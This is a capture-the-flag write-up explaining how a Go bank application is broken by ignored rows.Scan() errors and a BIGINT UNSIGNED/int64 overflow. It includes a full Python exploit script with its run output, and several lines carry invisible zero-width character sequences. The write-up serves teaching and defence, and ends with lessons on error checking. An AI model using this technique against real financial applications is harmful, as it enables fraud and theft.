← Back to Writeups
CUSTOMMediumWeb

on error resume next

XESXOR9/2/20265 min read
#web#custom#medium#error-ignoring-pattern-abuse#infinite-money-glitch-via-scan#integer-overflow-exploitation-#type-mismatch-between-database

on error resume next

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Error ignoring pattern abuse, Infinite money glitch via scan failure, Integer overflow exploitation (BIGINT UNSIGNED to int64), Type mismatch between database and application

Summary

Walkthrough of the CUSTOM Web on error resume next. Task: obtain 1337 credits in a Go bank application to buy the flag. Solution: exploit the type mismatch between MySQL BIGINT UNSIGNED and Go int64 — create a user with id=2^63, causing rows.Scan() ove

Description

Last year I tried error handling https://hxp.io/blog/114/hxp-38C3-CTF-Fajny-Jagazyn-Wartoci-Kluczy/, I got hurt pretty badly :(. Fuck it, I am not touching this shit again. Now it should be secure, right?

A Go web application - a simple bank where users can create accounts, transfer money, and buy a flag for 1337 credits. Each new user gets 10 credits, and there's a limit of 5 users (50 credits total - not enough for the flag).

Analysis

Application Structure

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is a simple Go web server with MySQL backend:

Database Schema (schema.sql):

sql
CREATE TABLE users (
    id SERIAL,
    name VARCHAR(255)
);

CREATE TABLE transactions (
    sender BIGINT unsigned NOT NULL,
    subject VARCHAR(255) NOT NULL,
    amount BIGINT unsigned NOT NULL,
    receiver BIGINT unsigned NOT NULL,
    FOREIGN KEY (sender) REFERENCES users(id),
    FOREIGN KEY (receiver) REFERENCES users(id),
    CHECK (receiver <> sender)
);

Go Structs (main.go):

go
type User struct {
    ID     int64   // SIGNED!
    Name   string
    Credit uint64
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

type transactions struct {
    Sender   int64   // SIGNED!
    Receiver int64   // SIGNED!
    Amount   uint64
}

Key Vulnerability: Type Mismatch

The critical vulnerability is the mismatch between:

  • MySQL: BIGINT UNSIGNED (0 to 2^64-1)
  • Go: int64 (signed, -2^63 to 2^63-1)

When a value like 9223372036854775808 (2^63) is stored in MySQL and read by Go's rows.Scan(), it overflows the signed int64 range.

Error Ignoring Pattern

The code follows "on error resume next" philosophy - all errors are ignored: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

go
rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")
// ...
rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)

When Scan() fails to read an overflowing value:

  1. It returns an error (which is ignored)
  2. The field is set to its zero value (0 for int64)
  3. Other fields may still be read correctly

Sum() Function Behavior

go
func Sum(userID int64) uint64 {
    rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")
    
    var sum uint64
    for rows.Next() {
        transactions := transactions{}
        rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)
        
        if transactions.Receiver == userID {
            sum += transactions.Amount
        } else if transactions.Sender == userID {
            sum -= transactions.Amount
        }
    }
    return sum
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Exploit Logic

  1. Create normal user (ID=2, gets 10 credits from system)
  2. Create "biguser" with id=9223372036854775808 (2^63)
    • MySQL stores this as BIGINT UNSIGNED successfully
    • When Go reads it, Scan() fails, receiver becomes 0
  3. Transfer money from normal user (ID=2) to biguser (receiver=2^63)
    • Transaction is stored in DB with receiver=9223372036854775808
  4. Balance calculation magic:
    • For normal user (ID=2): Scan fails on receiver, receiver=0, doesn't match sender=2, so transfer is NOT subtracted
    • For ID=0: Scan fails on receiver, receiver=0, matches userID=0, so transfer IS added!
  5. Result: Sender doesn't lose money, but ID=0 gains money!
  6. Repeat until Sum(0) >= 1337, then call /flag with id=0 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
"""
Exploit for "on error resume next" - hxp 39C3 CTF

Vulnerability:
1. When creating a user with id > 2^63-1 (e.g., 9223372036854775808), 
   the Go code's rows.Scan() fails to read the BIGINT UNSIGNED into int64
2. On Scan error, the receiver field becomes 0, but amount is still read correctly
3. This allows infinite money transfer: sender doesn't lose money (transaction 
   not counted for them), but receiver (id=0) gains money
4. The /flag endpoint parses id=0 and calls Sum(0), which counts all these transactions
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import re
from urllib.parse import unquote

BIGUSER_ID = "9223372036854775808"  # 2^63, overflows to 0 in int64

def exploit(url):
    print(f"[*] Exploiting {url}")
    
    session = requests.Session()
    
    # Step 1: Create a normal user (gets ID=2, 10 credits)
    print("[*] Creating normal user...")
    session.post(f"{url}/signup", data={"name": "normal", "id": "0"}, allow_redirects=False)
    
    # Step 2: Create biguser with overflow ID
    print(f"[*] Creating biguser with id={BIGUSER_ID}...")
    session.post(f"{url}/signup", data={"name": "biguser", "id": BIGUSER_ID}, allow_redirects=False)
    
    # Step 3: Transfer money repeatedly (normal doesn't lose money!)
    print("[*] Transferring money...")
    transfers_needed = 140  # 140 * 10 = 1400 > 1337
    
    for i in range(transfers_needed):
        session.post(f"{url}/transfer", data={
            "sender": "2",  # normal user
            "receiver": BIGUSER_ID,
            "amount": "10",
            "subject": f"transfer{i}"
        }, allow_redirects=False)
        
        if (i + 1) % 50 == 0:
            print(f"    Transferred {(i + 1) * 10} credits...")
    
    # Step 4: Get the flag with id=0
    print("[*] Getting flag...")
    r = session.post(f"{url}/flag", data={"id": "0"}, allow_redirects=False)
    
    if "Location" in r.headers:
        location = r.headers["Location"]
        if "msg=" in location:
            msg = unquote(location.split("msg=")[1])
            print(f"\n[+] FLAG: {msg}")
            return msg
    
    print("[-] Failed to get flag")
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    import sys
    url = sys.argv[1] if len(sys.argv) > 1 else "http://10.244.0.1:13371"
    exploit(url)

Execution

bash
$ python3 solve.py http://10.244.0.1:13371
[*] Exploiting http://10.244.0.1:13371
[*] Creating normal user...
[*] Creating biguser with id=9223372036854775808...
[*] Transferring money...
    Transferred 500 credits...
    Transferred 1000 credits...
[*] Getting flag...

[+] FLAG: hxp{REDACTED}

References

  • Challenge name "on error resume next" is a VB/VBScript error handling statement
  • Flag confirms the joke: "I should have never switched away from VB6"
  • Previous year's challenge: https://hxp.io/blog/114/hxp-38C3-CTF-Fajny-Jagazyn-Wartoci-Kluczy/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons Learned

  1. Always check errors - especially from database operations
  2. Type safety matters - BIGINT UNSIGNED (0 to 2^64-1) doesn't fit in int64 (-2^63 to 2^63-1)
  3. Scan failures are silent - Go's rows.Scan() sets fields to zero values on error
  4. Defense in depth - even with "secure" SQL, application logic can be exploited ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Error ignoring pattern abuse, Infinite money glitch via scan failure, Integer overflow exploitation (BIGINT UNSIGNED to int64), Type mismatch between database and application was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-28 • CUSTOM • on error resume next • Difficulty: Medium